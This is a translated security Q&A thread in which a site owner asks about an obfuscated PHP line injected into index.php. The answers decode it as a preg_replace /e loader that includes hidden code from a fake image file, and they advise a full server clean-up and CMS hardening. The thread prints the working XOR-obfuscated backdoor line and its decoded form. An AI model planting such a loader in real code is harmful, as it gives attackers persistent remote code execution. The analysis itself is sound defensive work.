发现可疑、混淆的 PHP 文件。这是对我网站的黑客攻击吗?

信息安全 php 攻击
2021-09-03 07:10:43

我刚刚注意到我的 index.php 文件的第一行已更改为以下内容。

<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

这对我来说看起来很可疑,我通常知道是什么preg_replace但是,我不知道如何解码主题、模式或替换字符串。

谁能告诉我

  1. 这段代码实际上会做什么?
  2. 一个应该被锁定的 PHP 文件怎么可能在服务器上得到更新?
4个回答

这段代码实际上会做什么?

你有一个允许远程代码执行的后门

哦,我有一个 RCE


归功于 borjab 的初始解码

<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

请注意我们在第一个文件中找到的这个base64 编码字符串:

L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc

解码该字符串时,它指向此文件:

/home4/mitzvahc/public_html/assets/img/logo_small.png

“图像”文件不是它看起来的样子。

kayge指出,该文件显然可以在线访问。所以我下载了你的“图片”,这是真正的黑客攻击发生的地方。第一个脚本试图加载该图像的内容。

在假装图像中,有两条eval()语句允许在检查时完全执行任意代码$GLOBALS[ooooOOOOo(0)]

这只发生在攻击者试图设置该变量时。99% 的情况下eval(),您真正需要知道的是,您的整个 Web 服务器都受到远程代码执行的影响。这是它正在做的事情:

eval(gzuncompress(base64_decode("evil_payload")));

当然,您已经通过某种形式的利用受到了威胁,但这给攻击者一个模糊的后门进入您的 Web 服务器,他们可以持续访问,即使您要修补问题,允许他们首先写入文件。


什么是邪恶的 gunzip 内容?

  1. 你可以在这里看到它们
  2. 在上面,这是另一个编码转储(谢谢,Technik Empire
  3. Technik Empire极大地促进了#2中内容的去混淆
  4. nneonneo 把它清理得更干净了。

为什么会这样?

一个应该被锁定的 PHP 文件怎么可能在服务器上得到更新?

这太宽泛了,无法访问所有内容。您的内容管理系统安装可能存在不正确的强化,或者您的 Web 堆栈中的某处可能存在漏洞。考虑到正在发生的事情,我不在乎访问您的网站,因此您可以查看这些链接(如果它们是您的 CMS 的一部分):

  1. Joomla 安全清单
  2. WordPress强化
  3. Django 部署清单

如果您的 CMS 未列出,请为您的 CMS 安装查找强化/安全检查表。如果您使用的不是CMS,而是您自己的代码,那么您可以自行修复安全漏洞。

发生这种情况的原因可能有很多......但最重要的是:您的网络主机已被黑客入侵,或者您的网站上有漏洞,允许恶意个人插入额外的代码并让他们完全控制您的网站...与此同时,他们正在攻击您的访问者

简短的回答是:如果代码是由您不认识的人添加的,那么它就是恶意的,不管它做什么

您的服务器已被入侵,您需要执行全面清理。

至于它是如何添加的,如果不对您的服务器进行全面调查,我们就无法知道。

修改了一个 PHP 文件,因此您遇到的不仅仅是黑客攻击

机器受到了损害

您需要安装干净的操作系统;并从开发(或其他一些备份)中重新加载您的站点代码。

如果您有时间并且偏执,那么可能值得考虑的是您的数据库可能包含可能会在最终用户身上释放的 XSS 攻击代码。

似乎此代码通过在两个字符串上使用XOR运算符作为二进制文件来混淆以下代码:

<?php preg_replace("#(.+)#ie", 
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

您可以在PHP 沙箱中对其进行测试。上面生成的大字符串是一个base64编码的字符串:

/home4/mitzvahc/public_html/assets/img/logo_small.png

为什么使用它preg_replace似乎存在允许代码执行的安全问题,但它可能只是为了代码混淆。